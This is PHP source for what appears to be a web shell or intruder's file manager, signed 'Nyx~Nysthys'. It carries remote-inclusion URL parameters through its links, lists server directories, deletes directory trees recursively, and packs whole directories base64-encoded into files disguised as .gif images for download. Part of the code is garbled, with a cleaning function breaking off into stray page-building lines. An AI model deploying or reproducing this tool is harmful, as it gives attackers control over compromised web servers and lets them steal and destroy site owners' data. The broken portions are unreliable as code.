set_time_limit (3600);
/*
if(isset($_SERVER['argv'][0]))
{
preg_match_all('/[a-zA-Z0-9\_]+=http\:\/\/[a-zA-Z0-9\.\/\:\_\-\%\?]+/', $_SERVER['argv'][0],$inc);
}else*/
if(isset($HTTP_SERVER_VARS['argv']))
{
preg_match_all('/[a-zA-Z0-9\_]+=http\:\/\/[a-zA-Z0-9\.\/\:\_\-\%\?]+/', $HTTP_SERVER_VARS['argv'][0],$inc);
}
if(!isset($inc[0][0])){$inc[0][0]="";}
//echo $_SERVER['argv'][0]."***********".$_SERVER['argv'][0]."ttttttt".$HTTP_SERVER_VARS['argv'][0]."*********";
define("URL_PAGE" , $_SERVER['SCRIPT_NAME']."?".$inc[0][0]."&");
$miseenpage = "";
if(!isset($general_inc)){$general_inc="";}
/****************************************FONCTION**********************************************/
/****************************************FONCTION**********************************************/
/****************************************FONCTION**********************************************/
function rec($dir,$lvl,$ou,$general_inc)
{
$miseenpage = "";$miseenpage2 = "";$num_f=0;$num_d=0;
$repertoire=opendir($dir);
if($ou==0)
{
}else{
$miseenpage .="
| | ";
}
while ($result = readdir($repertoire))
{
$c1="201220";$c2="002010";
if(is_file($dir."/".$result))
{
if($num_f % 2 ==0)
{
$style="style='background-color: #$c1;'";
}else{
$style="style='background-color: #$c2;'";
}
$couleur=base_convert(substr($result,-4),36,15);
$miseenpage2 .= "";
$miseenpage2 .= "| > | ";
$miseenpage2 .= "$result | ";
$miseenpage2 .= "".fper(fileperms($dir."/".$result))." | ";
$miseenpage2 .= "Supprimer | ";
$miseenpage2 .= "".number_format(filesize($dir."/".$result))." Octets | ";
$miseenpage2 .= "".date("d/m/Y H:i:s" , filemtime($dir."/".$result))." | ";
$miseenpage2 .= "Telecharger | ";
$miseenpage2 .= "Editer | ";
$miseenpage2 .= "Renommer | ";
$miseenpage2 .= "Depackter | ";
$miseenpage2 .= " \n\n";
$num_f++;
} else {
if($num_d % 2 ==0)
{
$style="style='background-color: #$c1;'";
}else{
$style="style='background-color: #$c2;'";
}
$miseenpage .= "";
$miseenpage .= "| > | ";
$miseenpage .= "$result | ";
$miseenpage .= "".fper(fileperms($dir."/".$result))." | ";
$miseenpage .= "Supprimer-r | ";
$miseenpage .= " | ";
$miseenpage .= "".date("d/m/Y H:i:s" , filemtime($dir."/".$result))." | ";
$miseenpage .= " | ";
$miseenpage .= " | ";
$miseenpage .= "Renommer | ";
$miseenpage .= "Enpackter | ";
$miseenpage .= " \n";
$num_d++;
if($lvl!=0 && $result!="." && $result!="..")
{
$miseenpage .=rec($dir."/".$result,$lvl-1,$ou+1);
}
}
}
closedir($repertoire);
return $miseenpage.$miseenpage2." |
";
}
function cdir($dir)
{
$dir=str_replace( "../", "" , $dir);
$dir=str_replace( "//", "/" , $dir);
$dir=str_replace( "///", "/" , $dir);
$dir_lt=explode("/", $dir);
$dir_c="";$a=0;
for($a=0;$a!=sizeof($dir_lt);$a++)
{
if(!strrchr($dir_lt[$a], "."))
{
$dir_c.=$dir_lt[$a]."/";
if(!file_exists($dir_c))
{
mkdir($dir_c);
}
}
}
}
function dl_rep($dir,$lvl,$gz_mode,$nm,$des)
{
$repertoire=opendir($dir);
while ($result = readdir($repertoire))
{
if(is_file($dir."/".$result))
{
$fp=fopen($dir."/".$result,"r");
$taille=filesize($dir."/".$result);
$buf=fread($fp,$taille);
fclose($fp);
$num=1;
while(file_exists("$des$nm$num.gif"))
{
$num++;
}
$num--;
if(file_exists("$des$nm$num.gif") )
{
if(filesize("$des$nm$num.gif")>50000000)
{
$num++;
}
}
if($gz_mode==1)
{
$fp2=gzopen("$des$nm$num.gif","a");
//gzwrite($fp2,"--**//**--//**--//**--//**--");
gzwrite($fp2,$dir."/".$result);
gzwrite($fp2,"/*/*/*/*/*/*");
gzwrite($fp2,base64_encode($buf)."\n");
gzclose($fp2);
}else{
$fp2=fopen("$des$nm$num.gif","a");
//fwrite($fp2,"--**//**--//**--//**--//**--");
fwrite($fp2,$dir."/".$result);
fwrite($fp2,"/*/*/*/*/*/*");
fwrite($fp2,base64_encode($buf)."\n");
fclose($fp2);
}
} else {
if($lvl!=0 && $result!="." && $result!="..")
{
dl_rep($dir."/".$result,$lvl-1,$gz_mode,$nm,$des);
}
}
}
closedir($repertoire);
}
function del_r($dir)
{
$repertoire=opendir($dir);
while ($result = readdir($repertoire))
{
if(is_file($dir."/".$result))
{
unlink($dir."/".$result);
} else {
if($result!="." && $result!="..")
{
del_r($dir."/".$result);
//rmdir($dir."/".$result);
}
}
}
closedir($repertoire);
rmdir($dir);
}
function fper($mode) {
if ( ($mode & 0xC000) == 0xC000) {
$type = 's';
} elseif ( ($mode & 0x4000) == 0x4000) {
$type = 'd';
} elseif ( ($mode & 0xA000) == 0xA000) {
$type = 'l';
} elseif ( ($mode & 0x8000) == 0x8000) {
$type = '-';
} elseif ( ($mode & 0x6000) == 0x6000) {
$type = 'b';
} elseif ( ($mode & 0x2000) == 0x2000) {
$type = 'c';
} elseif ( ($mode & 0x1000) == 0x1000) {
$type = 'p';
} else {
$type = '?';
}
$owner['read'] = ($mode & 00400) ? 'r' : '-';
$owner['write'] = ($mode & 00200) ? 'w' : '-';
$owner['execute'] = ($mode & 00100) ? 'x' : '-';
$group['read'] = ($mode & 00040) ? 'r' : '-';
$group['write'] = ($mode & 00020) ? 'w' : '-';
$group['execute'] = ($mode & 00010) ? 'x' : '-';
$world['read'] = ($mode & 00004) ? 'r' : '-';
$world['write'] = ($mode & 00002) ? 'w' : '-';
$world['execute'] = ($mode & 00001) ? 'x' : '-';
if ($mode & 0x800 ) $owner['execute'] = ($owner['execute'] == 'x') ? 's' : 'S';
if ($mode & 0x400 ) $group['execute'] = ($group['execute'] == 'x') ? 's' : 'S';
if ($mode & 0x200 ) $world['execute'] = ($world['execute'] == 'x') ? 't' : 'T';
return $type .
$owner['read'] . $owner['write'] . $owner['execute'] .
$group['read'] . $group['write'] . $group['execute'] .
$world['read'] . $world['write'] . $world['execute'];
}
function code_a($var)
{
return urlencode(base64_encode($var));
}
function decode_a($var)
{
return base64_decode(urldecode($var));
}
function clean_value($val) {
if ($val == "")
{
return "";
}
$val = str_replace( " " , " " , $val );
$val = str_replace( "&" , "&" , $val );
$val = str_replace( "" , "-->" , $val );
$val = preg_replace( "/";
$miseenpage .= "
|
";
$miseenpage .= "
";
$miseenpage .= "
|
";
$miseenpage .= "
";
$miseenpage .= "
|
";
$miseenpage .= "
";
$miseenpage .= "
|
";
$miseenpage .= "";
//$miseenpage .= $miseenpage_3.$miseenpage_2;
$miseenpage .= rec($dir,$lvl,0,$general_inc);
echo "
\n\nNyx~Nysthys
\n";
?>